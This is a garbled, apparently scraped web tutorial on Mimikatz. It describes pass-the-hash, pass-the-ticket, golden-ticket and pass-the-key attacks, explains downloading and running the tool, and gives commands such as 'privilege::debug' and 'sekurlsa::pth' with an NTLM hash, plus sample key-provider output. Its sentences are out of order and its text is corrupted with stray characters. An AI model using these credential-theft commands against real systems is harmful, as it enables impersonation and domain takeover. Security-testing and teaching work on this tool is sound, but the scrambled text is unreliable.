![]() ![]() Mimikatz # sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd To run the command line version as administrator, we use the following command. Login passwords– used to get passwords from memory:Īuthentication Id : 0 143799 (00000000:000231b7) Starting with Windows 8.x and 10, passwords are not in memory by default, which increases security. To work with this module command ' privilege::debug' It should be used. Sekurlsa module– can be used to extract passwords, keys, pin codes, tickets from memory. Private export : OK - 'user_cng_0_Microsoft Connected Devices Platform device .p8k' Key Container : Microsoft Connected Devices Platform device certificate |Implementation: NCRYPT_IMPL_SOFTWARE_FLAG |Provider name : Microsoft Software Key Storage Provider Microsoft Connected Devices Platform device certificate * CNG Provider : 'Microsoft Software Key Storage Provider'Ġ. * Provider : 'MS_ENHANCED_PROV' ('Microsoft Enhanced Cryptographic Provider v1.0') Keys– prints the lists of keys from all providers (for example, you can export the keys to the terminal): Microsoft Software Key Storage Providerħ. Microsoft Smart Card Key Storage Providerĥ. Microsoft Passport Key Storage ProviderĤ. DH_SCHANNEL (18) - Diffie-Hellman SChannelġ. DSS_DH (13) - DSS Signature with Diffie-Hellman Key ExchangeĤ. RSA_FULL ( 1) - RSA Full (Signature and Key Exchange)ģ. RSA_FULL ( 1) - Microsoft Strong Cryptographic ProviderĠ. RSA_SCHANNEL (12) - Microsoft RSA SChannel Cryptographic Providerĩ. RSA_AES (24) - Microsoft Enhanced RSA and AES Cryptographic ProviderĨ. DSS_DH (13) - Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Providerħ. RSA_FULL ( 1) - Microsoft Enhanced Cryptographic Provider v1.0Ħ. DH_SCHANNEL (18) - Microsoft DH SChannel Cryptographic Providerĥ. RSA_FULL ( 1) H - Microsoft Base Smart Card Crypto ProviderĤ. DSS ( 3) - Microsoft Base DSS Cryptographic Providerģ. DSS_DH (13) - Microsoft Base DSS and Diffie-Hellman Cryptographic ProviderĢ. RSA_FULL ( 1) - Microsoft Base Cryptographic Provider v1.0ġ. Suppliers– this command gets all providers if they are available:Ġ. Let's check if Mimikatz works with the 'version' command: All rights reserved.Ĭ:UsersKatherineDownloads>cd mimikatz_trunkĬ:UsersKatherineDownloadsmimikatz_trunk>cd 圆4Ĭ:UsersKatherineDownloadsmimikatz_trunk圆4>. Mimikatz can also be downloaded from the source code and built on your own. After that, run the file with the '.exe' format. 7z format, then unzip the file, and depending on your system, choose the x32 or 圆4 version. It can be downloaded from GitHub by opening the following link (). The next step would be mimikatz installation. Many companies still find this tool useful to detect and correct any weaknesses in the security of the Local Security Authority Subsystem Service. An attacker can use this key multiple times to impersonate a user. pass the key- This gets a unique key, which is used for authentication to a domain controller.This allows a potential attacker to impersonate a user on the network. Kerberos Resolver Ticket- This Windows functionality provides users with a ticket that accesses various services within a network.Kerberos golden ticket- This obtains a ticket for the Hidden Key Distribution Center (KRBTGT) service account, which encrypts all authenticity tickets, providing administrative-level domain access for any computer on the network.Mimikatz can get these tickets from a user's account and use them to log in as this user. pass the ticket- Kerberos is a ticket-based network authentication protocol that allows nodes communicating over an unsecured network to securely verify their identity with each other.This system attempts to allow end users to use passwords multiple times without having to reuse the same hash. pass-the-hash- NTLM (or Windows NT LAN Manager) contains hashes that are used to obtain passwords.Here are five attack vectors Mimikatz is looking for. ![]()
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